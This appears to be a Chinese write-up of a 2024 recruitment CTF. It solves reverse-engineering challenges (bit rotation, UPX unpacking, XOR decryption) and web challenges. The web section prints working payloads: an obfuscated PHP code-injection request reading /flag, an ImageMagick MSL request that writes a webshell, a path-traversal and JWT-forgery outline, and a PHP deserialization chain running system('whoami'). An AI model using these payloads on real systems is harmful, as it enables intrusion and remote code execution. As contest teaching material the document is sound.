REVERSE
easycpp2
flag: ayyctf{you_get_rand_num}
该程序没有去除符号, 保留了调试符号, 所以直接定位到了main函数:
逻辑不复杂:
__int64 __fastcall main(int argc, const char **argv)
{
std::ostream *v2; // rax
std::string::iterator __for_end; // [rsp+20h] [rbp-80h] BYREF
std::string::iterator __for_begin; // [rsp+28h] [rbp-78h] BYREF
uint8_t data[24]; // [rsp+30h] [rbp-70h]
std::string usr_input; // [rsp+50h] [rbp-50h] BYREF
uint8_t enc_; // [rsp+7Fh] [rbp-21h]
char *c; // [rsp+80h] [rbp-20h]
std::string *__for_range; // [rsp+88h] [rbp-18h]
int rotate_count; // [rsp+94h] [rbp-Ch]
int i; // [rsp+98h] [rbp-8h]
int correct_num; // [rsp+9Ch] [rbp-4h]
_main();
correct_num = 0;
std::string::basic_string(&usr_input);
std::operator>><char>(refptr__ZSt3cin);
*(_QWORD *)data = 0xB3B78DA987B3B383ui64;
*(_QWORD *)&data[8] = 0xA5BEA98B8FBEAB9Fui64;
*(_QWORD *)&data[16] = 0xBB9BAB9DBE899D83ui64;
rotate_count = rand() % 7 + 1;
i = 0;
__for_range = &usr_input;
__for_begin._M_current = (char *)std::string::begin(&usr_input);
__for_end._M_current = (char *)std::string::end(__for_range);
while ( __gnu_cxx::operator!=<char *,std::string>(&__for_begin, &__for_end) )
{
c = __gnu_cxx::__normal_iterator<char *,std::string>::operator*(&__for_begin);
enc_ = func1(*c, rotate_count);
if ( enc_ == data[i] )
++correct_num;
++i;
__gnu_cxx::__normal_iterator<char *,std::string>::operator++(&__for_begin);
}
if ( correct_num == 24 )
v2 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Correct!");
else
v2 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "No!");
refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v2);
std::string::~string(&usr_input);
return 0i64;
}
std::string::basic_string(&usr_input);
std::operator>><char>(refptr__ZSt3cin);
其中refptr__ZSt3cin可以demangle一下, 就是std::cin, 这种operator>>是运算符重写, 下面的operator*同样也是。
rotate_count = rand() % 7 + 1;
查看导入表可以发现并没有导入srand, 所以rand的结果是固定的值, 可以自己编译一下查看rand()返回值是多少, 或者动态调试,
这里rotate_count的结果是rotate_count = 7
i = 0;
__for_range = &usr_input;
__for_begin._M_current = (char *)std::string::begin(&usr_input);
__for_end._M_current = (char *)std::string::end(__for_range);
while ( __gnu_cxx::operator!=<char *,std::string>(&__for_begin, &__for_end) )
{
c = __gnu_cxx::__normal_iterator<char *,std::string>::operator*(&__for_begin);
enc_ = func1(*c, rotate_count);
if ( enc_ == data[i] )
++correct_num;
++i;
__gnu_cxx::__normal_iterator<char *,std::string>::operator++(&__for_begin);
}
std::string::begin和end获取的都是迭代器, 然后通过迭代器获取每一个字符, 然后将输入进行func1(*c, rotate_count)变换, 然后把enc_与data进比较, 正确则correct_num++;
uint8_t __cdecl func1(uint8_t value, uint8_t n)
{
uint8_t enc_step_one; // [rsp+2Fh] [rbp-1h]
if ( !n || n > 8u )
return value;
enc_step_one = func1_1(value, n);
return func1_2(enc_step_one, n);
}
其中func1_1和func1_2是:
uint8_t __cdecl func1_1(uint8_t value, uint8_t shift)
{
return ((int)value >> shift) | (value << (8 - shift));
}
uint8_t __cdecl func1_2(uint8_t byte, int n)
{
uint8_t bytea; // [rsp+20h] [rbp+10h]
bytea = byte;
if ( ((byte & 1) != 0) != ((((int)byte >> (n - 1)) & 1) != 0) )
return (1 << (n - 1)) ^ byte ^ 1;
return bytea;
}
func1_1是循环右移的逻辑, fun1_2是将一个字节的第n位与第1位交换位置(因为二进制里只有0和1 所以交换位置其实就是取反, 也就是^1和^(1 << (n -1))
def circular_left_shift(byte, shift):
shifted_byte = ((byte << shift) & 0xFF) | (byte >> (8 - shift))
return shifted_byte
def swap_bits(byte, n):
n_index = n - 1 # 将n转换为0到7范围内的索引
# 获取第1位和第n位的值
bit1 = byte & 1 # 第1位
bitN = (byte >> n_index) & 1 # 第n位
# 如果两位不同,交换它们
if bit1 != bitN:
# 翻转第1位
byte ^= 1
# 翻转第n位
byte ^= (1 << n_index)
return byte
flag = ""
data = [ 0x83, 0xb3, 0xb3, 0x87, 0xa9, 0x8d, 0xb7, 0xb3, 0x9f, 0xab, 0xbe, 0x8f, 0x8b, 0xa9, 0xbe, 0xa5, 0x83, 0x9d, 0x89, 0xbe, 0x9d, 0xab, 0x9b, 0xbb ]
for n in data:
swap_data = swap_bits(n, 7)
shift_data = circular_left_shift(swap_data, 7)
flag += chr(shift_data)
print(flag)
# ayyctf{you_get_rand_num}
finalpack
0x00 运行初探
die查一下发现是upx加壳了
直接用upx脱是不行的, 那肯定是特征被修改了:
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: ../finalpack: CantUnpackException: l_info corrupted
Unpacked 1 file: 0 ok, 1 error.
0x01 脱壳
如果仔细看的话, 可以发现”UPX”字符串被修改了, 事实是也就仅仅修改了这一处, 将这一处修改回去即可用upx反压缩:
或者直接手脱, 网上关于这类文章很多, 例如这篇(https://xz.aliyun.com/t/6881?time__1311=n4%2BxnD0DRDyBeAK4GNnm00GODgBorD97YD), 就直接F8一路步过, 找到关键点, 直接dump即可。
UPX脱壳如上所示
0x02 分析dumpfile
逻辑很简单:
这样dump下来导入表应该是有问题, 但无伤大雅, 没必要去修复, 直接看汇编:
LEA RDI =>local_68 ,[RBP + -0x60 ]
CALL thunk_FUN_00421290
thunk_FUN_00421290(rdi), 就是字符串, 所以这个函数肯定是strlen 然后用户输入是local_44, 将local_44进了FUN_401830变化后与 “02CD290D5ACE1A83″进行比较, FUN_401830的逻辑:
是将字符串循环右移 那关键在于移动了几轮, 也就是FUN_00401830(local_68, local_44);其中的local_44是多少, 动调即可发现是0xB,写python脚本即可:
def left_rotate_string(s, n):
return s[n:] + s[:n]
s = "02CD290D5ACE1A83"
n = 0xB
print(left_rotate_string(s, n)) #E1A8302CD290D5AC
Ultrasonic
1. 分析
目录下有个.exe.config:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
明显的C#程序。
2. 分析
-
运行看看, 有个SaveAs按钮:
-
使用dnSpyEx反编译:
其中这个EncryptImageBytes函数是用来加密图片数据的, 其逻辑是:
那么写个python脚本解密图片即可:
def decrypt_image_bytes(encrypted_bytes):
decrypted_bytes = bytearray(len(encrypted_bytes))
for i, b in enumerate(encrypted_bytes):
b = ~b & 0xFF # 取反
b = ((b & 0xF8) >> 3) | ((b & 0x7) << 5) # 恢复高低位的顺序
b = (b + 1) & 0xFF # 加 1
decrypted_bytes[i] = b
return bytes(decrypted_bytes)
with open('enc.png', 'rb') as f:
encrypted_data = f.read()
decrypted_data = decrypt_image_bytes(encrypted_data)
with open('dec.png', 'wb') as f:
f.write(decrypted_data)
xor
1. 先查看程序信息
32位程序没加壳。
2. 打开main
没有去符号表:
其中enc是:
相当于:
for (int i = 1; i < a2; i++) {
a1[i - 1] ^= a1[i];
}
3. 写解密脚本
def decrypt(cipher):
length = len(cipher)
for i in range(length - 1, 0, -1):
cipher[i - 1] ^= cipher[i]
return bytes(cipher).decode('utf-8')
cipher = [0x18, 0x00, 0x1a, 0x17, 0x12, 0x1d, 0x1a, 0x05, 0x0a, 0x56, 0x09, 0x03, 0x5c, 0x0f, 0x12, 0x17, 0x5d, 0x09, 0x02, 0x03, 0x5b, 0x0b, 0x05, 0x5d, 0x08, 0x50, 0x05, 0x5d, 0x08, 0x03, 0x53, 0x13, 0x0f, 0x7d]
plain_text = decrypt(cipher)
print(plain_text)
# ayyctf{adn812nasd9021jad91ad912ar}
web
babycode
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 636
cmd=%24%5f%5f%29%3b%24%5f%5f%3d%2b%2b%24%5f%5f%5f%5f%5f%3b%2d%2d%24%5f%5f%3b%24%5f%5f%5f%5f%5f%3d%28%28%5f%2f%5f%29%2e%27%27%29%7b%24%5f%5f%7d%3b%24%5f%5f%5f%5f%5f%5f%3d%2b%2b%24%5f%5f%5f%5f%5f%3b%2b%2b%24%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%5f%3d%24%5f%5f%5f%5f%5f%2e%24%5f%5f%5f%5f%5f%5f%3b%2b%2b%24%5f%5f%5f%5f%5f%3b%2b%2b%24%5f%5f%5f%5f%5f%3b%2b%2b%24%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%3b%2b%2b%24%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%2e%24%5f%5f%5f%5f%3b%24%7b%24%5f%5f%5f%5f%7d%7b%5f%7d%28%24%7b%24%5f%5f%5f%5f%7d%7b%5f%5f%7d%29%3b%2f%2f&_=highlight_file&__=/flag
imagemagick
使用以下poc写webshell。
POST /?class=Imagick&arg=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 332
------WebKitFormBoundaryTrWYaXKoVR1wiLhP Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?=phpinfo();?>"/> <write filename="info:shell.php" /> </image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
Leak
avatar_ctn = base64.b64encode(open('./avatars/' + avatar, 'r').read().encode()).decode()
存在路径穿越,构造../app.py
或者/app/app.py
的avatar_path的cookie。
将得到的base64源码内容拿去解码拿到secretkey,构造一个admin的jwt即可。
POP
简单的php反序列化链。
Net::__destruct()->Stone::__toString()->Works::__call()->Works::keep()->Net::__get()->Hill::__invoke()
要注意在keep()
的时候,要使用work的__call()来调用自己的非公共方法keep()。
exp的urlencode会把空格编码成+,我这里做了替换变成%20,这个可以根据自己的情况来。
<?php
//highlight_file(__FILE__);
//error_reporting(0);
class Hill{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
}
class Stone
{
public $ctf;
public $game = "good game!";
// public function __construct($ctf)
// {
// $this->ctf = $ctf;
// }
public function __toString()
{
return $this->ctf->keep();
}
public function keep()
{
return $this->ctf . " is " . $this->game;
}
}
class Net
{
private $value;
private $welcome = "Weclome!";
public $banner = "keep go";
public $key;
// public function __construct($key, $value)
// {
// $this->key = $name;
// $this->value = $password;
// }
public function __set($Attribute, $value){
$this->$Attribute = $value;
}
public function __get($name)
{
$value = $this->key;
$value();
}
public function __destruct()
{
if ($this->welcome == "go go go!") {
echo $this->banner;
} else {
echo "stop";
}
}
public function hello(){
echo $welcome;
}
}
class Works
{
protected $code;
//exp
public function __construct(){
$this->code = new Net();
$this->code->key = new Hill("system","whoami");
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function keep()
{
return $this->code->secret;
}
}
// if (isset($_POST['pop'])) {
// $a = unserialize($_POST['pop']);
// $a->hello("welcome");
// } else {
// die("POST and start");
// }
$a = new Net();
$a->welcome = "go go go!";
$a->banner = new Stone();
$a->banner->ctf = new Works();
$exp = urlencode(serialize($a));
print_r(str_replace("+","%20",$exp));
原文始发于微信公众号(山石网科安全技术研究院):2024年第四届山石CTF招新赛WP REVERSE&WEB篇